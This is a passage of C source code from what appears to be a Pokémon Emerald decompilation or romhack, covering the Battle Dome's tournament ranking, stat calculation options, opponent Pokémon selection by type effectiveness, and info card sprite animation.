for (i = 0; i < DOME_TOURNAMENT_TRAINERS_COUNT - 1; i++) { for (j = i + 1; j < DOME_TOURNAMENT_TRAINERS_COUNT; j++) { if (rankingScores[i] < rankingScores[j]) { SwapDomeTrainers(i, j, rankingScores); } else { if (rankingScores[i] == rankingScores[j]) { if (DOME_TRAINERS[j].trainerId == TRAINER_PLAYER) SwapDomeTrainers(i, j, rankingScores); else if (DOME_TRAINERS[i].trainerId > DOME_TRAINERS[j].trainerId) SwapDomeTrainers(i, j, rankingScores); } } } } // Add Frontier Brain to the tourney if they should be fought at the end of it if (GetFrontierBrainStatus() != FRONTIER_BRAIN_NOT_READY) { for (i = 0; i < DOME_TOURNAMENT_TRAINERS_COUNT; i++) { if (DOME_TRAINERS[i].trainerId == TRAINER_PLAYER) break; } if (sTrainerNamePositions[i][0] != 0) { j = 0; DOME_TRAINERS[j].trainerId = TRAINER_FRONTIER_BRAIN; } else { j = 1; DOME_TRAINERS[j].trainerId = TRAINER_FRONTIER_BRAIN; } for (i = 0; i < FRONTIER_PARTY_SIZE; i++) DOME_MONS[j][i] = GetFrontierBrainMonSpecies(i); } Free(rankingScores); Free(statValues); } #define CALC_STAT(base, statIndex) \ { \ u8 baseStat = gSpeciesInfo[species].base; \ stats[statIndex] = (((2 * baseStat + ivs + evs[statIndex] / 4) * level) / 100) + 5; \ stats[statIndex] = (u8) ModifyStatByNature(nature, stats[statIndex], statIndex); \ } #define CALC_STAT_EQUALIZED(base, statIndex, option) \ { \ u16 baseStat[] = {100, 255, 500}; \ stats[statIndex] = (((2 * baseStat[option] + ivs + evs[statIndex] / 4) * level) / 100) + 5;\ stats[statIndex] = (u8) ModifyStatByNature(nature, stats[statIndex], statIndex); \ } static void CalcDomeMonStats(u16 species, int level, int ivs, u8 evBits, u8 nature, int *stats) { int i, count; u8 bits; u16 resultingEvs; int evs[NUM_STATS]; count = 0, bits = evBits; for (i = 0; i < NUM_STATS; bits >>= 1, i++) { if (bits & 1) count++; } resultingEvs = MAX_TOTAL_EVS / count; for (i = 0; i < NUM_STATS; bits <<= 1, i++) { evs[i] = 0; if (evBits & bits) evs[i] = resultingEvs; } if (species == SPECIES_SHEDINJA) { stats[STAT_HP] = 1; } else { int n = 2 * gSpeciesInfo[species].baseHP; int n_old = 2 * gSpeciesInfo[species].baseHP_old; switch(gSaveBlock1Ptr->tx_Challenges_BaseStatEqualizer) { case 0: break; case 1: if ((gSpeciesInfo[species].baseHP_old != 0) && (gSaveBlock1Ptr->tx_Mode_New_Stats == 0)) n_old = 2 * 100; else n = 2 * 100; break; case 2: if ((gSpeciesInfo[species].baseHP_old != 0) && (gSaveBlock1Ptr->tx_Mode_New_Stats == 0)) n_old = 2 * 255; else n = 2 * 255; break; case 3: if ((gSpeciesInfo[species].baseHP_old != 0) && (gSaveBlock1Ptr->tx_Mode_New_Stats == 0)) n_old = 2 * 500; else n = 2 * 500; break; default: break; } if ((gSpeciesInfo[species].baseHP_old != 0) && (gSaveBlock1Ptr->tx_Mode_New_Stats == 0)) stats[STAT_HP] = (((n_old + ivs + evs[STAT_HP] / 4) * level) / 100) + level + 10; else stats[STAT_HP] = (((n + ivs + evs[STAT_HP] / 4) * level) / 100) + level + 10; } if (gSaveBlock1Ptr->tx_Challenges_BaseStatEqualizer) { u8 option = gSaveBlock1Ptr->tx_Challenges_BaseStatEqualizer - 1; CALC_STAT_EQUALIZED(baseAttack, STAT_ATK, option); CALC_STAT_EQUALIZED(baseDefense, STAT_DEF, option); CALC_STAT_EQUALIZED(baseSpeed, STAT_SPEED, option); CALC_STAT_EQUALIZED(baseSpAttack, STAT_SPATK, option); CALC_STAT_EQUALIZED(baseSpDefense, STAT_SPDEF, option); } else { if ((gSpeciesInfo[species].baseAttack_old != 0) && (gSaveBlock1Ptr->tx_Mode_New_Stats == 0)) { CALC_STAT(baseAttack_old, STAT_ATK); } else { CALC_STAT(baseAttack, STAT_ATK); } if ((gSpeciesInfo[species].baseDefense_old != 0) && (gSaveBlock1Ptr->tx_Mode_New_Stats == 0)) { CALC_STAT(baseDefense_old, STAT_DEF); } else { CALC_STAT(baseDefense, STAT_DEF); } if ((gSpeciesInfo[species].baseSpeed_old != 0) && (gSaveBlock1Ptr->tx_Mode_New_Stats == 0)) { CALC_STAT(baseSpeed_old, STAT_SPEED); } else { CALC_STAT(baseSpeed, STAT_SPEED); } if ((gSpeciesInfo[species].baseSpAttack_old != 0) && (gSaveBlock1Ptr->tx_Mode_New_Stats == 0)) { CALC_STAT(baseSpAttack_old, STAT_SPATK); } else { CALC_STAT(baseSpAttack, STAT_SPATK); } if ((gSpeciesInfo[species].baseSpDefense_old != 0) && (gSaveBlock1Ptr->tx_Mode_New_Stats == 0)) { CALC_STAT(baseSpDefense_old, STAT_SPDEF); } else { CALC_STAT(baseSpDefense, STAT_SPDEF); } } } static void SwapDomeTrainers(int id1, int id2, u16 *statsArray) { int i; u16 temp; SWAP(statsArray[id1], statsArray[id2], temp); SWAP(DOME_TRAINERS[id1].trainerId, DOME_TRAINERS[id2].trainerId, temp); for (i = 0; i < FRONTIER_PARTY_SIZE; i++) SWAP(DOME_MONS[id1][i], DOME_MONS[id2][i], temp); } static void BufferDomeRoundText(void) { StringCopy(gStringVar1, gRoundsStringTable[gSaveBlock2Ptr->frontier.curChallengeBattleNum]); } static void BufferDomeOpponentName(void) { StringCopy(gStringVar1, gRoundsStringTable[gSaveBlock2Ptr->frontier.curChallengeBattleNum]); CopyDomeTrainerName(gStringVar2, gTrainerBattleOpponent_A); } static void InitDomeOpponentParty(void) { gPlayerPartyLostHP = 0; sPlayerPartyMaxHP = GetMonData(&gPlayerParty[0], MON_DATA_MAX_HP, NULL); sPlayerPartyMaxHP += GetMonData(&gPlayerParty[1], MON_DATA_MAX_HP, NULL); CalculatePlayerPartyCount(); CreateDomeOpponentMons(TrainerIdToTournamentId(gTrainerBattleOpponent_A)); } static void CreateDomeOpponentMon(u8 monPartyId, u16 tournamentTrainerId, u8 tournamentMonId, u32 otId) { int i; u8 friendship = MAX_FRIENDSHIP; #ifdef BUGFIX u8 fixedIv = GetDomeTrainerMonIvs(DOME_TRAINERS[tournamentTrainerId].trainerId); #else u8 fixedIv = GetDomeTrainerMonIvs(tournamentTrainerId); // BUG: Using the wrong ID. As a result, all Pokémon have ivs of 3. #endif u8 level = SetFacilityPtrsGetLevel(); CreateMonWithEVSpreadNatureOTID(&gEnemyParty[monPartyId], gFacilityTrainerMons[DOME_MONS[tournamentTrainerId][tournamentMonId]].species, level, gFacilityTrainerMons[DOME_MONS[tournamentTrainerId][tournamentMonId]].nature, fixedIv, gFacilityTrainerMons[DOME_MONS[tournamentTrainerId][tournamentMonId]].evSpread, otId); friendship = MAX_FRIENDSHIP; for (i = 0; i < MAX_MON_MOVES; i++) { SetMonMoveSlot(&gEnemyParty[monPartyId], gFacilityTrainerMons[DOME_MONS[tournamentTrainerId][tournamentMonId]].moves[i], i); if (gFacilityTrainerMons[DOME_MONS[tournamentTrainerId][tournamentMonId]].moves[i] == MOVE_FRUSTRATION) friendship = 0; } SetMonData(&gEnemyParty[monPartyId], MON_DATA_FRIENDSHIP, &friendship); SetMonData(&gEnemyParty[monPartyId], MON_DATA_HELD_ITEM, &gBattleFrontierHeldItems[gFacilityTrainerMons[DOME_MONS[tournamentTrainerId][tournamentMonId]].itemTableId]); } static void CreateDomeOpponentMons(u16 tournamentTrainerId) { u8 monsCount = 0; u32 otId = 0; int i, selectedMonBits; ZeroEnemyPartyMons(); selectedMonBits = GetDomeTrainerSelectedMons(tournamentTrainerId); otId = Random32(); if (Random() % 10 > 5) { // Create mon if it was selected, starting from front for (i = 0; i < FRONTIER_PARTY_SIZE; i++) { if (selectedMonBits & 1) { CreateDomeOpponentMon(monsCount, tournamentTrainerId, i, otId); monsCount++; } selectedMonBits >>= 1; } } else { // Create mon if it was selected, starting from back for (i = FRONTIER_PARTY_SIZE - 1; i >= 0; i--) { if (selectedMonBits & (1 << (FRONTIER_PARTY_SIZE - 1))) { CreateDomeOpponentMon(monsCount, tournamentTrainerId, i, otId); monsCount++; } selectedMonBits <<= 1; } } } // Returns a bitmask representing which 2 of the trainer's 3 Pokémon to select. // The choice is calculated solely depending on the type effectiveness of their // movesets against the player's Pokémon. // There is a 50% chance of either a "good" or "bad" selection mode being used. // In the good mode movesets are preferred which are more effective against the // player, and in the bad mode the opposite is true. If all 3 Pokémon tie, the // other mode will be tried. If they tie again, the Pokémon selection is random. int GetDomeTrainerSelectedMons(u16 tournamentTrainerId) { int selectedMonBits; if (Random() & 1) { selectedMonBits = SelectOpponentMons_Good(tournamentTrainerId, FALSE); if (selectedMonBits == 0) selectedMonBits = SelectOpponentMons_Bad(tournamentTrainerId, TRUE); } else { selectedMonBits = SelectOpponentMons_Bad(tournamentTrainerId, FALSE); if (selectedMonBits == 0) selectedMonBits = SelectOpponentMons_Good(tournamentTrainerId, TRUE); } return selectedMonBits; } static int SelectOpponentMons_Good(u16 tournamentTrainerId, bool8 allowRandom) { int i, moveId, playerMonId; int partyMovePoints[FRONTIER_PARTY_SIZE]; for (i = 0; i < FRONTIER_PARTY_SIZE; i++) { partyMovePoints[i] = 0; for (moveId = 0; moveId < MAX_MON_MOVES; moveId++) { for (playerMonId = 0; playerMonId < FRONTIER_PARTY_SIZE; playerMonId++) { if (DOME_TRAINERS[tournamentTrainerId].trainerId == TRAINER_FRONTIER_BRAIN) { partyMovePoints[i] += GetTypeEffectivenessPoints(GetFrontierBrainMonMove(i, moveId), GetMonData(&gPlayerParty[playerMonId], MON_DATA_SPECIES, NULL), EFFECTIVENESS_MODE_GOOD); } else { partyMovePoints[i] += GetTypeEffectivenessPoints(gFacilityTrainerMons[DOME_MONS[tournamentTrainerId][i]].moves[moveId], GetMonData(&gPlayerParty[playerMonId], MON_DATA_SPECIES, NULL), EFFECTIVENESS_MODE_GOOD); } } } } return SelectOpponentMonsFromParty(partyMovePoints, allowRandom); } // Identical to function above, but uses EFFECTIVENESS_MODE_BAD static int SelectOpponentMons_Bad(u16 tournamentTrainerId, bool8 allowRandom) { int i, moveId, playerMonId; int partyMovePoints[FRONTIER_PARTY_SIZE]; for (i = 0; i < FRONTIER_PARTY_SIZE; i++) { partyMovePoints[i] = 0; for (moveId = 0; moveId < MAX_MON_MOVES; moveId++) { for (playerMonId = 0; playerMonId < FRONTIER_PARTY_SIZE; playerMonId++) { if (DOME_TRAINERS[tournamentTrainerId].trainerId == TRAINER_FRONTIER_BRAIN) { partyMovePoints[i] += GetTypeEffectivenessPoints(GetFrontierBrainMonMove(i, moveId), GetMonData(&gPlayerParty[playerMonId], MON_DATA_SPECIES, NULL), EFFECTIVENESS_MODE_BAD); } else { partyMovePoints[i] += GetTypeEffectivenessPoints(gFacilityTrainerMons[DOME_MONS[tournamentTrainerId][i]].moves[moveId], GetMonData(&gPlayerParty[playerMonId], MON_DATA_SPECIES, NULL), EFFECTIVENESS_MODE_BAD); } } } } return SelectOpponentMonsFromParty(partyMovePoints, allowRandom); } static int SelectOpponentMonsFromParty(int *partyMovePoints, bool8 allowRandom) { int i, j; int selectedMonBits = 0; int partyPositions[FRONTIER_PARTY_SIZE]; for (i = 0; i < FRONTIER_PARTY_SIZE; i++) partyPositions[i] = i; // All party mons have equal move score totals, choose randomly if (partyMovePoints[0] == partyMovePoints[1] && partyMovePoints[0] == partyMovePoints[2]) { if (allowRandom) { i = 0; while (i != DOME_BATTLE_PARTY_SIZE) { u32 rand = Random() & FRONTIER_PARTY_SIZE; if (rand != FRONTIER_PARTY_SIZE && !(selectedMonBits & gBitTable[rand])) { selectedMonBits |= gBitTable[rand]; i++; } } } } else { for (i = 0; i < DOME_BATTLE_PARTY_SIZE; i++) { for (j = i + 1; j < FRONTIER_PARTY_SIZE; j++) { int temp; if (partyMovePoints[i] < partyMovePoints[j]) { SWAP(partyMovePoints[i], partyMovePoints[j],temp) SWAP(partyPositions[i], partyPositions[j], temp) } if (partyMovePoints[i] == partyMovePoints[j] && (Random() & 1)) { SWAP(partyMovePoints[i], partyMovePoints[j],temp) SWAP(partyPositions[i], partyPositions[j], temp) } } } for (i = 0; i < DOME_BATTLE_PARTY_SIZE; i++) { selectedMonBits |= gBitTable[partyPositions[i]]; } } return selectedMonBits; } #define TYPE_x0 0 #define TYPE_x0_25 5 #define TYPE_x0_50 10 #define TYPE_x1 20 #define TYPE_x2 40 #define TYPE_x4 80 static int GetTypeEffectivenessPoints(int move, int targetSpecies, int mode) { int defType1, defType2, defAbility, moveType; int i = 0; int typePower = TYPE_x1; if (move == MOVE_NONE || move == MOVE_UNAVAILABLE || gBattleMoves[move].power == 0) return 0; defType1 = GetTypeBySpecies(targetSpecies, 1); defType2 = GetTypeBySpecies(targetSpecies, 2); defAbility = GetAbilityBySpecies(targetSpecies, 0); moveType = gBattleMoves[move].type; if (defAbility == ABILITY_LEVITATE && moveType == TYPE_GROUND) { // They likely meant to return here, as 8 is the number of points normally used in this mode for moves with no effect. // Because there's no return the value instead gets interpreted by the switch, and the number of points becomes 0. if (mode == EFFECTIVENESS_MODE_BAD) { typePower = 8; #ifdef BUGFIX return typePower; #endif } } else { if (gSaveBlock1Ptr->tx_Mode_TypeEffectiveness == 1) //Modern type effectiveness { // Calculate a "type power" value to determine the benefit of using this type move against the target. // This value will then be used to get the number of points to assign to the move. while (GetTypeEffectivenessRandom(TYPE_EFFECT_ATK_TYPE(i)) != TYPE_ENDTABLE) { if (GetTypeEffectivenessRandom(TYPE_EFFECT_ATK_TYPE(i)) == TYPE_FORESIGHT) { i += 3; continue; } if (GetTypeEffectivenessRandom(TYPE_EFFECT_ATK_TYPE(i)) == moveType) { // BUG: the value of TYPE_x2 does not exist in gTypeEffectiveness, so if defAbility is ABILITY_WONDER_GUARD, the conditional always fails #ifndef BUGFIX #define WONDER_GUARD_EFFECTIVENESS TYPE_x2 #else #define WONDER_GUARD_EFFECTIVENESS TYPE_MUL_SUPER_EFFECTIVE #endif if (TYPE_EFFECT_DEF_TYPE(i) == defType1) if ((defAbility == ABILITY_WONDER_GUARD && TYPE_EFFECT_MULTIPLIER(i) == WONDER_GUARD_EFFECTIVENESS) || defAbility != ABILITY_WONDER_GUARD) typePower = (typePower * TYPE_EFFECT_MULTIPLIER(i)) / 10; if (TYPE_EFFECT_DEF_TYPE(i) == defType2 && defType1 != defType2) if ((defAbility == ABILITY_WONDER_GUARD && TYPE_EFFECT_MULTIPLIER(i) == WONDER_GUARD_EFFECTIVENESS) || defAbility != ABILITY_WONDER_GUARD) typePower = (typePower * TYPE_EFFECT_MULTIPLIER(i)) / 10; } i += 3; } } else if (gSaveBlock1Ptr->tx_Mode_TypeEffectiveness == 0) //Old type effectiveness { // Calculate a "type power" value to determine the benefit of using this type move against the target. // This value will then be used to get the number of points to assign to the move. while (GetTypeEffectivenessRandom(TYPE_EFFECT_ATK_TYPE_OLD(i)) != TYPE_ENDTABLE) { if (GetTypeEffectivenessRandom(TYPE_EFFECT_ATK_TYPE_OLD(i)) == TYPE_FORESIGHT) { i += 3; continue; } if (GetTypeEffectivenessRandom(TYPE_EFFECT_ATK_TYPE_OLD(i)) == moveType) { // BUG: the value of TYPE_x2 does not exist in gTypeEffectiveness, so if defAbility is ABILITY_WONDER_GUARD, the conditional always fails #ifndef BUGFIX #define WONDER_GUARD_EFFECTIVENESS TYPE_x2 #else #define WONDER_GUARD_EFFECTIVENESS TYPE_MUL_SUPER_EFFECTIVE #endif if (TYPE_EFFECT_DEF_TYPE_OLD(i) == defType1) if ((defAbility == ABILITY_WONDER_GUARD && TYPE_EFFECT_MULTIPLIER_OLD(i) == WONDER_GUARD_EFFECTIVENESS) || defAbility != ABILITY_WONDER_GUARD) typePower = (typePower * TYPE_EFFECT_MULTIPLIER_OLD(i)) / 10; if (TYPE_EFFECT_DEF_TYPE_OLD(i) == defType2 && defType1 != defType2) if ((defAbility == ABILITY_WONDER_GUARD && TYPE_EFFECT_MULTIPLIER_OLD(i) == WONDER_GUARD_EFFECTIVENESS) || defAbility != ABILITY_WONDER_GUARD) typePower = (typePower * TYPE_EFFECT_MULTIPLIER_OLD(i)) / 10; } i += 3; } } } switch (mode) { case EFFECTIVENESS_MODE_GOOD: // Weights moves that more effective. switch (typePower) { case TYPE_x0: case TYPE_x0_25: case TYPE_x0_50: default: typePower = 0; break; case TYPE_x1: typePower = 2; break; case TYPE_x2: typePower = 4; break; case TYPE_x4: typePower = 8; break; } break; case EFFECTIVENESS_MODE_BAD: // Weights moves that are less effective. // Odd that there's no limit on this being used, even the Frontier Brain could end up using this. switch (typePower) { case TYPE_x0: typePower = 8; break; case TYPE_x0_25: typePower = 4; break; case TYPE_x0_50: typePower = 2; break; default: case TYPE_x1: typePower = 0; break; case TYPE_x2: typePower = -2; break; case TYPE_x4: typePower = -4; break; } break; case EFFECTIVENESS_MODE_AI_VS_AI: // Used as part of calculating the winner in a battle between two AIs. // Weights moves that are more effective much more strongly in both directions. switch (typePower) { case TYPE_x0: typePower = -16; break; case TYPE_x0_25: typePower = -8; break; case TYPE_x0_50: default: typePower = 0; break; case TYPE_x1: typePower = 4; break; case TYPE_x2: typePower = 12; break; case TYPE_x4: typePower = 20; break; } break; } return typePower; } // Duplicate of GetFrontierTrainerFixedIvs // NOTE: In CreateDomeOpponentMon a tournament trainer ID (0-15) is passed instead, resulting in all IVs of 3 // To fix, see CreateDomeOpponentMon static u8 GetDomeTrainerMonIvs(u16 trainerId) { u8 fixedIv; if (trainerId <= FRONTIER_TRAINER_JILL) // 0 - 99 fixedIv = 3; else if (trainerId <= FRONTIER_TRAINER_CHLOE) // 100 - 119 fixedIv = 6; else if (trainerId <= FRONTIER_TRAINER_SOFIA) // 120 - 139 fixedIv = 9; else if (trainerId <= FRONTIER_TRAINER_JAZLYN) // 140 - 159 fixedIv = 12; else if (trainerId <= FRONTIER_TRAINER_ALISON) // 160 - 179 fixedIv = 15; else if (trainerId <= FRONTIER_TRAINER_LAMAR) // 180 - 199 fixedIv = 18; else if (trainerId <= FRONTIER_TRAINER_TESS) // 200 - 219 fixedIv = 21; else // 220+ (- 299) fixedIv = MAX_PER_STAT_IVS; return fixedIv; } static int TournamentIdOfOpponent(int roundId, int trainerId) { int i, j, opponentMax; // Get trainer's tournament id for (i = 0; i < DOME_TOURNAMENT_TRAINERS_COUNT; i++) { if (DOME_TRAINERS[i].trainerId == trainerId) break; } // Get trainer's opponent's tournament id if (roundId != DOME_ROUND1) { if (roundId == DOME_FINAL) opponentMax = sIdToOpponentId[i][roundId] + 8; else opponentMax = sIdToOpponentId[i][roundId] + 4; // Get first non-eliminated trainer in range of possible opponents for (j = sIdToOpponentId[i][roundId]; j < opponentMax; j++) { if (sTourneyTreeTrainerOpponentIds[j] != i && !DOME_TRAINERS[sTourneyTreeTrainerOpponentIds[j]].isEliminated) break; } if (j != opponentMax) return sTourneyTreeTrainerOpponentIds[j]; else return 0xFF; // Already eliminated } else { if (!DOME_TRAINERS[sIdToOpponentId[i][roundId]].isEliminated) return sIdToOpponentId[i][roundId]; else return 0xFF; // Already eliminated } } static void SetDomeOpponentId(void) { gTrainerBattleOpponent_A = TrainerIdOfPlayerOpponent(); } // While not an issue in-game, this will overflow if called after the player's opponent for the current round has been eliminated static u16 TrainerIdOfPlayerOpponent(void) { return DOME_TRAINERS[TournamentIdOfOpponent(gSaveBlock2Ptr->frontier.curChallengeBattleNum, TRAINER_PLAYER)].trainerId; } static void SetDomeOpponentGraphicsId(void) { SetBattleFacilityTrainerGfxId(gTrainerBattleOpponent_A, 0); } static void SaveDomeChallenge(void) { gSaveBlock2Ptr->frontier.challengeStatus = gSpecialVar_0x8005; VarSet(VAR_TEMP_CHALLENGE_STATUS, 0); gSaveBlock2Ptr->frontier.challengePaused = TRUE; SaveGameFrontier(); } static void IncrementDomeStreaks(void) { u8 lvlMode = gSaveBlock2Ptr->frontier.lvlMode; u8 battleMode = VarGet(VAR_FRONTIER_BATTLE_MODE); if (gSaveBlock2Ptr->frontier.domeWinStreaks[battleMode][lvlMode] < 999) gSaveBlock2Ptr->frontier.domeWinStreaks[battleMode][lvlMode]++; if (gSaveBlock2Ptr->frontier.domeTotalChampionships[battleMode][lvlMode] < 999) gSaveBlock2Ptr->frontier.domeTotalChampionships[battleMode][lvlMode]++; if (gSaveBlock2Ptr->frontier.domeWinStreaks[battleMode][lvlMode] > gSaveBlock2Ptr->frontier.domeRecordWinStreaks[battleMode][lvlMode]) gSaveBlock2Ptr->frontier.domeRecordWinStreaks[battleMode][lvlMode] = gSaveBlock2Ptr->frontier.domeWinStreaks[battleMode][lvlMode]; } // For showing the opponent info card of the upcoming trainer static void ShowDomeOpponentInfo(void) { u8 taskId = CreateTask(Task_ShowTourneyInfoCard, 0); gTasks[taskId].tState = 0; gTasks[taskId].tTournamentId = TrainerIdToTournamentId(TrainerIdOfPlayerOpponent()); gTasks[taskId].tMode = INFOCARD_NEXT_OPPONENT; gTasks[taskId].tPrevTaskId = 0; SetMainCallback2(CB2_TourneyTree); } // For showing the opponent info card or the match info card static void Task_ShowTourneyInfoCard(u8 taskId) { int i; int tournamentId = gTasks[taskId].tTournamentId; int mode = gTasks[taskId].tMode; int id = gTasks[taskId].tPrevTaskId; switch (gTasks[taskId].tState) { case 0: SetHBlankCallback(NULL); SetVBlankCallback(NULL); EnableInterrupts(INTR_FLAG_VBLANK); CpuFill32(0, (void *)VRAM, VRAM_SIZE); ResetBgsAndClearDma3BusyFlags(0); InitBgsFromTemplates(0, sInfoCardBgTemplates, ARRAY_COUNT(sInfoCardBgTemplates)); InitWindows(sInfoCardWindowTemplates); DeactivateAllTextPrinters(); gBattle_BG0_X = 0; gBattle_BG0_Y = 0; gBattle_BG1_X = 0; gBattle_BG1_Y = 0; gBattle_BG3_X = 0; gBattle_BG3_Y = 0; if (mode == INFOCARD_MATCH) gBattle_BG2_X = 0, gBattle_BG2_Y = 0; else gBattle_BG2_X = 0, gBattle_BG2_Y = DISPLAY_HEIGHT; gTasks[taskId].tState++; break; case 1: SetGpuReg(REG_OFFSET_BLDCNT, 0); SetGpuReg(REG_OFFSET_BLDALPHA, 0); SetGpuReg(REG_OFFSET_BLDY, 0); SetGpuReg(REG_OFFSET_MOSAIC, 0); SetGpuReg(REG_OFFSET_WIN0H, 0); SetGpuReg(REG_OFFSET_WIN0V, 0); SetGpuReg(REG_OFFSET_WIN1H, 0); SetGpuReg(REG_OFFSET_WIN1V, 0); SetGpuReg(REG_OFFSET_WININ, 0); SetGpuReg(REG_OFFSET_WINOUT, WINOUT_WIN01_BG_ALL | WINOUT_WIN01_OBJ | WINOUT_WIN01_CLR); ResetPaletteFade(); ResetSpriteData(); FreeAllSpritePalettes(); gReservedSpritePaletteCount = 4; gTasks[taskId].tState++; break; case 2: DecompressAndLoadBgGfxUsingHeap(2, gDomeTourneyInfoCard_Gfx, 0x2000, 0, 0); DecompressAndLoadBgGfxUsingHeap(2, gDomeTourneyInfoCard_Tilemap, 0x2000, 0, 1); DecompressAndLoadBgGfxUsingHeap(3, gDomeTourneyInfoCardBg_Tilemap, 0x800, 0, 1); LoadCompressedSpriteSheet(sTourneyTreeButtonsSpriteSheet); LoadCompressedPalette(gDomeTourneyTree_Pal, BG_PLTT_OFFSET, BG_PLTT_SIZE); LoadCompressedPalette(gDomeTourneyTreeButtons_Pal, OBJ_PLTT_OFFSET, OBJ_PLTT_SIZE); LoadCompressedPalette(gBattleWindowTextPalette, BG_PLTT_ID(15), PLTT_SIZE_4BPP); if (mode == INFOCARD_MATCH) LoadCompressedPalette(gDomeTourneyMatchCardBg_Pal, BG_PLTT_ID(5), PLTT_SIZE_4BPP); // Changes the moving info card bg to orange when in match card mode CpuFill32(0, gPlttBufferFaded, PLTT_SIZE); ShowBg(0); ShowBg(1); ShowBg(2); ShowBg(3); gTasks[taskId].tState++; break; case 3: SetVBlankCallback(VblankCb_TourneyInfoCard); sInfoCard = AllocZeroed(sizeof(*sInfoCard)); for (i = 0; i < NUM_INFOCARD_SPRITES; i++) sInfoCard->spriteIds[i] = SPRITE_NONE; LoadMonIconPalettes(); i = CreateTask(Task_HandleInfoCardInput, 0); gTasks[i].data[0] = 0; gTasks[i].data[2] = 0; gTasks[i].data[3] = mode; gTasks[i].data[4] = id; if (mode == INFOCARD_MATCH) { DisplayMatchInfoOnCard(0, tournamentId); sInfoCard->pos = 1; } else { DisplayTrainerInfoOnCard(0, tournamentId); } SetGpuReg(REG_OFFSET_DISPCNT, DISPCNT_OBJ_ON | DISPCNT_BG_ALL_ON | DISPCNT_OBJ_1D_MAP); if (mode != INFOCARD_NEXT_OPPONENT) { // Scroll up arrow id = CreateSprite(&sVerticalScrollArrowSpriteTemplate, 120, 4, 0); StartSpriteAnim(&gSprites[id], 0); gSprites[id].data[0] = i; // Scroll down arrow id = CreateSprite(&sVerticalScrollArrowSpriteTemplate, 120, 156, 0); StartSpriteAnim(&gSprites[id], 1); gSprites[id].data[0] = i; // Scroll left arrow id = CreateSprite(&sHorizontalScrollArrowSpriteTemplate, 6, 80, 0); StartSpriteAnim(&gSprites[id], 0); gSprites[id].data[0] = i; gSprites[id].data[1] = 0; if (mode == INFOCARD_TRAINER) gSprites[id].invisible = TRUE; // Scroll right arrow id = CreateSprite(&sHorizontalScrollArrowSpriteTemplate, 234, 80, 0); StartSpriteAnim(&gSprites[id], 1); gSprites[id].data[0] = i; gSprites[id].data[1] = 1; } DestroyTask(taskId); break; } } // Note: Card scrolling up means the current card goes down and another one appears from top. // The same is true for scrolling left. // That means that the sprite needs to move with the moving card in the opposite scrolling direction. static void SpriteCB_TrainerIconCardScrollUp(struct Sprite *sprite) { sprite->y += 4; if (sprite->data[0] != 0) { if (sprite->y >= -32) sprite->invisible = FALSE; if (++sprite->data[1] == 40) sprite->callback = SpriteCallbackDummy; } else { if (sprite->y >= 192) { sInfoCard->spriteIds[sprite->data[2]] = SPRITE_NONE; FreeAndDestroyTrainerPicSprite(sprite->data[3]); } } } static void SpriteCB_TrainerIconCardScrollDown(struct Sprite *sprite) { sprite->y -= 4; if (sprite->data[0] != 0) { if (sprite->y <= 192) sprite->invisible = FALSE; if (++sprite->data[1] == 40) sprite->callback = SpriteCallbackDummy; } else { if (sprite->y <= -32) { sInfoCard->spriteIds[sprite->data[2]] = SPRITE_NONE; FreeAndDestroyTrainerPicSprite(sprite->data[3]); } } } static void SpriteCB_TrainerIconCardScrollLeft(struct Sprite *sprite) { sprite->x += 4; if (sprite->data[0] != 0) { if (sprite->x >= -32) sprite->invisible = FALSE; if (++sprite->data[1] == 64) sprite->callback = SpriteCallbackDummy; } else { if (sprite->x >= DISPLAY_WIDTH + 32) { sInfoCard->spriteIds[sprite->data[2]] = SPRITE_NONE; FreeAndDestroyTrainerPicSprite(sprite->data[3]); } } } static void SpriteCB_TrainerIconCardScrollRight(struct Sprite *sprite) { sprite->x -= 4; if (sprite->data[0] != 0) { if (sprite->x <= DISPLAY_WIDTH + 32) sprite->invisible = FALSE; if (++sprite->data[1] == 64) sprite->callback = SpriteCallbackDummy; } else { if (sprite->x <= -32) { sInfoCard->spriteIds[sprite->data[2]] = SPRITE_NONE; FreeAndDestroyTrainerPicSprite(sprite->data[3]); } } } #define sMonIconStill data[3] static void SpriteCB_MonIconDomeInfo(struct Sprite *sprite) { if (!sprite->sMonIconStill) UpdateMonIconFrame(sprite); } static void SpriteCB_MonIconCardScrollUp(struct Sprite *sprite) { if (!sprite->sMonIconStill) UpdateMonIconFrame(sprite); sprite->y += 4; if (sprite->data[0] != 0) { if (sprite->y >= -16) sprite->invisible = FALSE; if (++sprite->data[1] == 40) sprite->callback = SpriteCB_MonIconDomeInfo; } else { if (sprite->y >= 176) { sInfoCard->spriteIds[sprite->data[2]] = SPRITE_NONE; FreeAndDestroyMonIconSprite(sprite); } } } static void SpriteCB_MonIconCardScrollDown(struct Sprite *sprite) { if (!sprite->sMonIconStill) UpdateMonIconFrame(sprite); sprite->y -= 4; if (sprite->data[0] != 0) { if (sprite->y <= 176) sprite->invisible = FALSE; if (++sprite->data[1] == 40) sprite->callback = SpriteCB_MonIconDomeInfo; } else { if (sprite->y <= -16) { sInfoCard->spriteIds[sprite->data[2]] = SPRITE_NONE; FreeAndDestroyMonIconSprite(sprite); } } } static void SpriteCB_MonIconCardScrollLeft(struct Sprite *sprite) { if (!sprite->sMonIconStill) UpdateMonIconFrame(sprite); sprite->x += 4; if (sprite->data[0] != 0) { if (sprite->x >= -16) sprite->invisible = FALSE; if (++sprite->data[1] == 64) sprite->callback = SpriteCB_MonIconDomeInfo; } else { if (sprite->x >= DISPLAY_WIDTH + 16) { sInfoCard->spriteIds[sprite->data[2]] = SPRITE_NONE; FreeAndDestroyMonIconSprite(sprite); } } } static void SpriteCB_MonIconCardScrollRight(struct Sprite *sprite) { if (!sprite->sMonIconStill) UpdateMonIconFrame(sprite); sprite->x -= 4; if (sprite->data[0] != 0) { if (sprite->x <= DISPLAY_WIDTH + 16) sprite->invisible = FALSE; if (++sprite->data[1] == 64) sprite->callback = SpriteCB_MonIconDomeInfo; } else { if (sprite->x <= -16) { sInfoCard->spriteIds[sprite->data[2]] = SPRITE_NONE; FreeAndDestroyMonIconSprite(sprite); } } } static void SpriteCB_HorizontalScrollArrow(struct Sprite *sprite) { int taskId1 = sprite->data[0]; int arrId = gTasks[gTasks[taskId1].data[4]].data[1]; int tournmanetTrainerId = sTourneyTreeTrainerIds[arrId]; int roundId = gSaveBlock2Ptr->frontier.curChallengeBattleNum; if (gTasks[taskId1].data[3] == 1) { if (sprite->data[1]) { if ((DOME_TRAINERS[tournmanetTrainerId].isEliminated && sInfoCard->pos - 1 < DOME_TRAINERS[tournmanetTrainerId].eliminatedAt)) { sprite->invisible = FALSE; } else if 